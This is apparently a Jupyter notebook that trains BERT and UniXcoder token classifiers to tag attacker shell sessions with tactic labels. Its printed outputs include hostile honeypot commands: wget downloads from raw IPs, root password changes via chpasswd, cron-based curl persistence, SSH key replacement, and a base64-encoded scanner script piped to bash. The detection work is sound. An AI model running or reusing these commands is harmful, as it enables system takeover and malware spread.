Task 1

In [ ]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import torch.optim as optim
from sklearn.datasets import make_circles
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder, StandardScaler
from torch.utils.data import DataLoader, TensorDataset,Dataset
from sklearn.metrics import accuracy_score, confusion_matrix, ConfusionMatrixDisplay, precision_score, f1_score, recall_score
from scipy.io.arff import loadarff
import seaborn as sns
import time
from sklearn.utils.class_weight import compute_class_weight
import json
from sklearn.feature_extraction.text import CountVectorizer
from collections import Counter
import torch.nn as nn
import torch.nn.functional as F
from collections import Counter
from transformers import *
from datasets import Dataset, DatasetDict
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt
from transformers import DataCollatorForTokenClassification
from transformers import get_scheduler
from torch.optim import AdamW
from torch import cuda
from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score
from itertools import chain
from copy import deepcopy
from tqdm.auto import tqdm
from torch.nn import CrossEntropyLoss
from sklearn.metrics import classification_report

# ************************************* TASK1  *************************************

# PREPROCESSING

# Loading Train Set and Test Set
train_df = pd.read_json("train.json")
test_df = pd.read_json("test.json")


# Check for duplicates
train_df["label_tuple"] = train_df["label"].apply(tuple)
test_df["label_tuple"] = test_df["label"].apply(tuple)

train_dup = train_df.duplicated(subset=['session','label_tuple']).sum()
print("\nTrain df duplicates rows:", train_dup)    #result: 0 duplicates
test_dup = test_df.duplicated(subset=['session','label_tuple']).sum()
print("\nTest df duplicates rows:", test_dup)    #result: 0 duplicates

train_df = train_df.drop_duplicates(subset=['session','label_tuple'])
test_df = test_df.drop_duplicates(subset=['session','label_tuple'])

train_df = train_df.drop(columns=["label_tuple"])
test_df = test_df.drop(columns=["label_tuple"])

train_df = train_df.reset_index(drop=True)
test_df = test_df.reset_index(drop=True)

print(train_df.describe())
print(test_df.describe())



# Check for null values
train_null_values = train_df.isnull().sum()
print("\nTrain df null values per column:\n", train_null_values)   #results: 0
test_null_values = test_df.isnull().sum()
print("\nTrain df null values per column:\n", test_null_values)   #results: 0


# Print the dataset
print("TRAIN: \n")
print(train_df)

print("TEST: \n")
print(test_df)




# EXPLORE THE LABELS

train_tags = list(train_df.label.explode().unique())
test_tags = test_df.label.explode().unique()

#We have 7 different tags (and they are the same for train and test)
print(f"In the train_df we have {len(train_tags)} and they are: {sorted(train_tags)}")
print(f"In the test_df we have {len(test_tags)} and they are: {sorted(test_tags)}")


# How many bash words are assigned per tag

def count_bash_words_by_tag(dataset):
    total_counts = Counter()

    for index, entry in dataset.iterrows():

        session = entry["session"]
        labels = entry["label"]
        words = session.split(" ")

        for word, tag in zip(words, labels):
            total_counts[tag] += 1
    print("Ending the function")
    return total_counts

train_counts = count_bash_words_by_tag(train_df)
print("\nHow many bash words are assigned per tag in the train_df")
print(train_counts)

print("\nHow many bash words are assigned per tag in the test_df")
test_count = count_bash_words_by_tag(test_df)
print(test_count)


# Plotting a barplot

all_tags = set(train_counts.keys())
plot_data = pd.DataFrame({
    'Tag': list(all_tags),
    'Train': [train_counts.get(tag, 0) for tag in all_tags],
    'Test': [test_count.get(tag, 0) for tag in all_tags]
})

plot_data = plot_data.sort_values(by="Train", ascending=False)
x = range(len(plot_data))

plt.figure(figsize=(12, 6))
bar_width = 0.35

plt.bar(x, plot_data['Train'], width=bar_width, label='Train', color='skyblue')
plt.bar([i + bar_width for i in x], plot_data['Test'], width=bar_width, label='Test', color='salmon')

plt.xlabel("Tags")
plt.ylabel("Number of Bash Words")
plt.title("Distribution of Tags by Bash Words (Train vs Test)")
plt.xticks([i + bar_width / 2 for i in x], plot_data['Tag'], rotation=45)
plt.legend()
plt.tight_layout()
plt.show()
/usr/local/lib/python3.12/dist-packages/jieba/__init__.py:44: SyntaxWarning: invalid escape sequence '\.'
  re_han_default = re.compile("([\u4E00-\u9FD5a-zA-Z0-9+#&\._%\-]+)", re.U)
/usr/local/lib/python3.12/dist-packages/jieba/__init__.py:46: SyntaxWarning: invalid escape sequence '\s'
  re_skip_default = re.compile("(\r\n|\s)", re.U)
/usr/local/lib/python3.12/dist-packages/jieba/finalseg/__init__.py:78: SyntaxWarning: invalid escape sequence '\.'
  re_skip = re.compile("([a-zA-Z0-9]+(?:\.\d+)?%?)")
GroupViT models are not usable since `tensorflow_probability` can't be loaded. It seems you have `tensorflow_probability` installed with the wrong tensorflow version.Please try to reinstall it following the instructions here: https://github.com/tensorflow/probability.
TAPAS models are not usable since `tensorflow_probability` can't be loaded. It seems you have `tensorflow_probability` installed with the wrong tensorflow version. Please try to reinstall it following the instructions here: https://github.com/tensorflow/probability.
Train df duplicates rows: 0

Test df duplicates rows: 0
                                                  session  \
count                                                 251   
unique                                                251   
top     rm -rf /var/run/1sh ; wget -c http://71.127.14...   
freq                                                    1   

                                                    label  
count                                                 251  
unique                                                141  
top     [Execution, Execution, Execution, Execution, E...  
freq                                                   12  
                                                  session  \
count                                                 108   
unique                                                108   
top     cd /tmp || cd /run || cd / ; wget http://93.11...   
freq                                                    1   

                                                    label  
count                                                 108  
unique                                                 75  
top     [Execution, Execution, Execution, Execution, E...  
freq                                                    8  

Train df null values per column:
 session    0
label      0
dtype: int64

Train df null values per column:
 session    0
label      0
dtype: int64
TRAIN: 

                                               session  \
0    rm -rf /var/run/1sh ; wget -c http://71.127.14...   
1    cat /proc/cpuinfo | grep name | wc -l ; echo r...   
2    cd /tmp || cd /var/run || cd /mnt || cd /root ...   
3    ls -la /dev/ttyGSM* /var/spool/sms/* /var/log/...   
4    cat /var/tmp/.systemcache436621 ; echo 1 > /va...   
..                                                 ...   
246  wget -O /tmp/linux http://58.218.66.87:8080/li...   
247  enable ; system ; shell ; sh ; cat /proc/mount...   
248  uname -a ; cd /tmp ; wget http://www.studyonaz...   
249  cat /proc/cpuinfo | grep name | wc -l ; echo r...   
250  echo -e "*/3 * * * * root (curl -fsSL $url/xms...   

                                                 label  
0    [Execution, Execution, Execution, Execution, E...  
1    [Discovery, Discovery, Discovery, Discovery, D...  
2    [Execution, Execution, Execution, Execution, E...  
3    [Discovery, Discovery, Discovery, Discovery, D...  
4    [Discovery, Discovery, Discovery, Discovery, D...  
..                                                 ...  
246  [Not Malicious Yet, Not Malicious Yet, Not Mal...  
247  [Discovery, Discovery, Discovery, Discovery, D...  
248  [Execution, Execution, Execution, Execution, E...  
249  [Discovery, Discovery, Discovery, Discovery, D...  
250  [Execution, Execution, Execution, Execution, E...  

[251 rows x 2 columns]
TEST: 

                                               session  \
0    cd /tmp || cd /run || cd / ; wget http://93.11...   
1    cat /proc/cpuinfo | grep name | wc -l ; echo -...   
2    echo -en \\x00\\x6a\\x60\\x34\\x32\\x37\\x37\\...   
3    cat /proc/cpuinfo | grep name | wc -l ; echo 3...   
4    sudo hive-passwd 1hj51gh11g4611234ggg12233g4hg...   
..                                                 ...   
103  /bin/busybox echo -en '\\x78\\x00\\x00\\x00\\x...   
104  cd ~ && rm -rf .ssh && mkdir .ssh && echo ssh-...   
105  LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ...   
106  scp -t /tmp/INp6QaaO ; cd /tmp && chmod +x INp...   
107  cat /proc/cpuinfo | grep name | wc -l ; echo r...   

                                                 label  
0    [Execution, Execution, Execution, Execution, E...  
1    [Discovery, Discovery, Discovery, Discovery, D...  
2    [Not Malicious Yet, Not Malicious Yet, Not Mal...  
3    [Discovery, Discovery, Discovery, Discovery, D...  
4    [Persistence, Persistence, Persistence, Persis...  
..                                                 ...  
103  [Not Malicious Yet, Not Malicious Yet, Not Mal...  
104  [Persistence, Persistence, Persistence, Persis...  
105  [Discovery, Discovery, Discovery, Discovery, D...  
106  [Execution, Execution, Execution, Execution, E...  
107  [Discovery, Discovery, Discovery, Discovery, D...  

[108 rows x 2 columns]
In the train_df we have 7 and they are: ['Defense Evasion', 'Discovery', 'Execution', 'Impact', 'Not Malicious Yet', 'Other', 'Persistence']
In the test_df we have 7 and they are: ['Defense Evasion', 'Discovery', 'Execution', 'Impact', 'Not Malicious Yet', 'Other', 'Persistence']
Ending the function

How many bash words are assigned per tag in the train_df
Counter({'Discovery': 6009, 'Execution': 3239, 'Persistence': 1133, 'Impact': 312, 'Defense Evasion': 309, 'Not Malicious Yet': 264, 'Other': 209})

How many bash words are assigned per tag in the test_df
Ending the function
Counter({'Discovery': 3307, 'Execution': 1568, 'Persistence': 683, 'Defense Evasion': 218, 'Not Malicious Yet': 212, 'Impact': 133, 'Other': 76})
In [ ]:
# EXPLORE A SINGLE BASH COMMAND


def explore_bash_command_echo(dataset):
    echo = Counter()
    ex_session = {}
    found = True

    for index, entry in dataset.iterrows():

        ex_session_tag = []

        session = entry["session"]
        labels = entry["label"]
        words = session.split(" ")

        for word, tag in zip(words, labels):

            if word == 'echo':
                echo[tag] += 1
                if (tag == 'Persistence' or tag == 'Execution') and tag not in ex_session_tag:
                    ex_session_tag.append(tag)

        if len(ex_session_tag) == 2 and found:
            found = False
            ex_session['index'] = index
            ex_session['session'] = session
            ex_session['label'] = labels

    print("Ending the function")
    return echo,ex_session

diff_tags_for_echo, ex_session = explore_bash_command_echo(train_df)
print(f"\nFor echo we have the following different tags: {diff_tags_for_echo.keys()}")
print(f"\nHow many times per tag?: {diff_tags_for_echo}\n")
print(f"\nExample of session where echo is assigned both to Persistence and Execution: {ex_session}")
Ending the function

For echo we have the following different tags: dict_keys(['Persistence', 'Discovery', 'Execution', 'Other', 'Not Malicious Yet', 'Impact'])

How many times per tag?: Counter({'Persistence': 104, 'Execution': 39, 'Discovery': 31, 'Not Malicious Yet': 8, 'Impact': 6, 'Other': 4})


Example of session where echo is assigned both to Persistence and Execution: {'index': 28, 'session': 'cat /proc/cpuinfo | grep name | wc -l ; echo root:JrBOFLr9oFxB | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo 1 > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MKbm9odXAgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MvdHNtIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE3Mi4xNiA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bTsgbm9odXAgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MvdHNtIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC90bXAvLlgxMy11bml4LyAmJiBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ;', 'label': ['Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution']}
In [ ]:
# EXPLORE THE BASH WORDS

def compute_word_counts(dataset):
    word_counts = []

    for i, entry in dataset.iterrows():
        session = entry["session"]
        words = session.split(" ")
        word_counts.append(len(words))

    return word_counts


# Compute word counts
train_word_counts = compute_word_counts(train_df)
test_word_counts = compute_word_counts(test_df)

# ECDF Function
def ecdf(data):
    x = np.sort(data)
    y = np.arange(1, len(x)+1) / len(x)
    return x, y

# Plot ECDF
x_train, y_train = ecdf(train_word_counts)
x_test, y_test = ecdf(test_word_counts)

plt.figure(figsize=(10, 6))
plt.plot(x_train, y_train, marker='.', linestyle='none', label='Train')
plt.plot(x_test, y_test, marker='.', linestyle='none', label='Test', color='orange')

plt.xlabel('Number of Bash Words per Session')
plt.ylabel('ECDF')
plt.title('ECDF of Bash Words per Session (Train vs Test)')
plt.legend()
plt.grid(True)
plt.tight_layout()
plt.show()

Task2

In [ ]:
# ************************************* TASK2  *************************************


# TOKENIZE COMMANDS

commands = ['cat','shell','echo','top','chpasswd','crontab','wget','busybox','grep']

# Import the tokenizer
model1 = "google-bert/bert-base-uncased"
model2 = "microsoft/unixcoder-base"

tokenizer1 = AutoTokenizer.from_pretrained(model1)
tokenizer2 = AutoTokenizer.from_pretrained(model2)

# Tokenize with both
bert_tokens = [tokenizer1.tokenize(cmd) for cmd in commands]
unixcoder_tokens = [tokenizer2.tokenize(cmd) for cmd in commands]

print(bert_tokens)
print(unixcoder_tokens)


print("BERT tokens per command:")
for cmd, toks in zip(commands, bert_tokens):
    print(f"{cmd}: {toks} -> {len(toks)}")

print("\nUnixCoder tokens per command:")
for cmd, toks in zip(commands, unixcoder_tokens):
    print(f"{cmd}: {toks} -> {len(toks)}")


bert_ratio = sum(len(t) for t in bert_tokens) / len(commands)
unix_ratio = sum(len(t) for t in unixcoder_tokens) / len(commands)

print(f"\nAverage BERT token/word ratio: {bert_ratio:.2f}")
print(f"Average UnixCoder token/word ratio: {unix_ratio:.2f}")
/usr/local/lib/python3.12/dist-packages/huggingface_hub/utils/_auth.py:94: UserWarning: 
The secret `HF_TOKEN` does not exist in your Colab secrets.
To authenticate with the Hugging Face Hub, create a token in your settings tab (https://huggingface.co/settings/tokens), set it as secret in your Google Colab and restart your session.
You will be able to reuse this secret in all of your notebooks.
Please note that authentication is recommended but still optional to access public models or datasets.
  warnings.warn(
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.2",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

loading file vocab.txt from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/vocab.txt
loading file tokenizer.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer.json
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at None
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer_config.json
loading file chat_template.jinja from cache at None
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.2",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json
loading file merges.txt from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/merges.txt
loading file tokenizer.json from cache at None
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/special_tokens_map.json
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/tokenizer_config.json
loading file chat_template.jinja from cache at None
[['cat'], ['shell'], ['echo'], ['top'], ['ch', '##pass', '##wd'], ['cr', '##ont', '##ab'], ['w', '##get'], ['busy', '##box'], ['gr', '##ep']]
[['cat'], ['shell'], ['echo'], ['top'], ['ch', 'passwd'], ['cr', 'ont', 'ab'], ['w', 'get'], ['busybox'], ['grep']]
BERT tokens per command:
cat: ['cat'] -> 1
shell: ['shell'] -> 1
echo: ['echo'] -> 1
top: ['top'] -> 1
chpasswd: ['ch', '##pass', '##wd'] -> 3
crontab: ['cr', '##ont', '##ab'] -> 3
wget: ['w', '##get'] -> 2
busybox: ['busy', '##box'] -> 2
grep: ['gr', '##ep'] -> 2

UnixCoder tokens per command:
cat: ['cat'] -> 1
shell: ['shell'] -> 1
echo: ['echo'] -> 1
top: ['top'] -> 1
chpasswd: ['ch', 'passwd'] -> 2
crontab: ['cr', 'ont', 'ab'] -> 3
wget: ['w', 'get'] -> 2
busybox: ['busybox'] -> 1
grep: ['grep'] -> 1

Average BERT token/word ratio: 1.78
Average UnixCoder token/word ratio: 1.44
In [ ]:
# TOKENIZE THE FULL TRAINING CORPUS

bert_tokenizer = AutoTokenizer.from_pretrained(model1, add_prefix_space=True)
unix_tokenizer = AutoTokenizer.from_pretrained(model2, add_prefix_space=True)



train_df, val_df = train_test_split(train_df, test_size=0.2, random_state=42)

# Convert the training DATAFRAME into an huggingface DATASET
train_ds = Dataset.from_pandas(train_df.reset_index(drop=True))
print(train_ds)


full_ds = DatasetDict(
    {
        "train": Dataset.from_pandas(train_df.reset_index(drop=True)),
        "valid": Dataset.from_pandas(val_df.reset_index(drop=True)),
        "test": Dataset.from_pandas(test_df.reset_index(drop=True)),
    }
)
print(full_ds)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.2",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

loading file vocab.txt from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/vocab.txt
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loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.2",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json
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loading file chat_template.jinja from cache at None
Dataset({
    features: ['session', 'label'],
    num_rows: 200
})
DatasetDict({
    train: Dataset({
        features: ['session', 'label'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['session', 'label'],
        num_rows: 51
    })
    test: Dataset({
        features: ['session', 'label'],
        num_rows: 108
    })
})
In [ ]:
# 2. Obtain a dictionary that maps the labels into identifiers (Labels Encoder)
id2label = {it:label for it, label in enumerate(train_tags)}
label2id = {label:it for it, label in enumerate(train_tags)}
print(label2id)
{'Execution': 0, 'Discovery': 1, 'Persistence': 2, 'Defense Evasion': 3, 'Not Malicious Yet': 4, 'Other': 5, 'Impact': 6}
In [ ]:
# Now that we identified the `label2id` dictionary, use the Dataset `map` function to map all `tags` into `numeric tags`!
def convert_labels_to_ids(sample):
    sample['label_id'] = [label2id[el] for el in sample["label"]]
    return sample
# Apply the mapping function to all splits of your dataset
encoded_dataset = full_ds.map(convert_labels_to_ids)
print(encoded_dataset)
DatasetDict({
    train: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 51
    })
    test: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 108
    })
})
In [ ]:
# Function that align labels with the tokens
def align_labels_with_tokens(labels, word_ids):
    new_labels = []
    current_word = None
    for word_id in word_ids:
        if word_id != current_word:
            # Start of a new word or special token
            current_word = word_id
            # Use -100 for special tokens, otherwise use the original label
            label = -100 if word_id is None else labels[word_id]   # IT GIVES OUT OF RANGE ERROR
            new_labels.append(label)
        elif word_id is None:
            # Special token (like [CLS], [SEP], etc.)
            new_labels.append(-100)
        else:
            # Continuation token of the current word
            # We assign the same label as the word
            label = labels[word_id]
            new_labels.append(label)
    return new_labels


# Function that, for each sample, 1)Tokenize the input     2)Align tokens with the corresponding tags
def tokenize_and_align_labels_berta(samples):

    # Remember: we need to split the sentences
    split_sentences = [sentence.split(" ") for sentence in samples["session"]]
    # Tokenize all examples in batch using the global tokenizer
    tokenized_inputs = bert_tokenizer(
        split_sentences,
        truncation=True,  # Truncate to max length if needed
        is_split_into_words=True,  # Input is already split into words
        max_length=bert_tokenizer.model_max_length
    )

    # Extract all tags_id lists from the examples
    all_tags = samples["label_id"]
    new_labels = []
    # Process each example's labels individually
    for i, tags in enumerate(all_tags):
        # Get word ID mapping for the current example
        word_ids = tokenized_inputs.word_ids(i)
        # Convert word-level tags to token-level tags
        #print(f"\nTags{tags} and Word_ids {word_ids}")
        aligned_labels = align_labels_with_tokens(tags, word_ids)
        new_labels.append(aligned_labels)
    # Add the aligned labels to the tokenized inputs
    tokenized_inputs["labels"] = new_labels
    return tokenized_inputs

def tokenize_and_align_labels_unix(samples):
    # Remember: we need to split the sentences
    split_sentences = [sentence.split(" ") for sentence in samples["session"]]
    # Tokenize all examples in batch using the global tokenizer
    tokenized_inputs = unix_tokenizer(
        split_sentences,
        truncation=True,  # Truncate to max length if needed
        is_split_into_words=True,  # Input is already split into words
        max_length=512
    )

    # Extract all tags_id lists from the examples
    all_tags = samples["label_id"]
    new_labels = []
    # Process each example's labels individually
    for i, tags in enumerate(all_tags):
        # Get word ID mapping for the current example
        word_ids = tokenized_inputs.word_ids(i)
        # Convert word-level tags to token-level tags
        aligned_labels = align_labels_with_tokens(tags, word_ids)
        new_labels.append(aligned_labels)
    # Add the aligned labels to the tokenized inputs
    tokenized_inputs["labels"] = new_labels
    return tokenized_inputs
In [ ]:
original_columns = encoded_dataset["train"].column_names

berta_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_berta,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_unix,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)

print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
In [ ]:
#EXAMPLES
EXAMPLE_ID = 190
print("\nEXAMPLE WITH BERTA TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = berta_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[bert_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')

print("\nEXAMPLE WITH UNIX TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = unix_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[unix_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')
EXAMPLE WITH BERTA TOKENIZED DATASET: 

EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (166 elements): ['[CLS]', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'echo', 'root', ':', 'np', '##b', '##3', '##w', '##9', '##5', '##gp', '##6', '##w', '##z', '|', 'ch', '##pass', '##wd', '|', 'bash', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'head', '-', 'n', '1', '|', 'aw', '##k', '{', 'print', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', ',', '$', '8', ',', '$', '9', ';', '}', ';', 'free', '-', 'm', '|', 'gr', '##ep', 'me', '##m', '|', 'aw', '##k', '{', 'print', '$', '2', ',', '$', '3', ',', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', '}', ';', 'l', '##s', '-', 'l', '##h', '$', 'which', 'l', '##s', ';', 'which', 'l', '##s', ';', 'cr', '##ont', '##ab', '-', 'l', ';', 'w', ';', 'una', '##me', '-', 'm', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'model', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'top', ';', 'una', '##me', ';', '[SEP]']
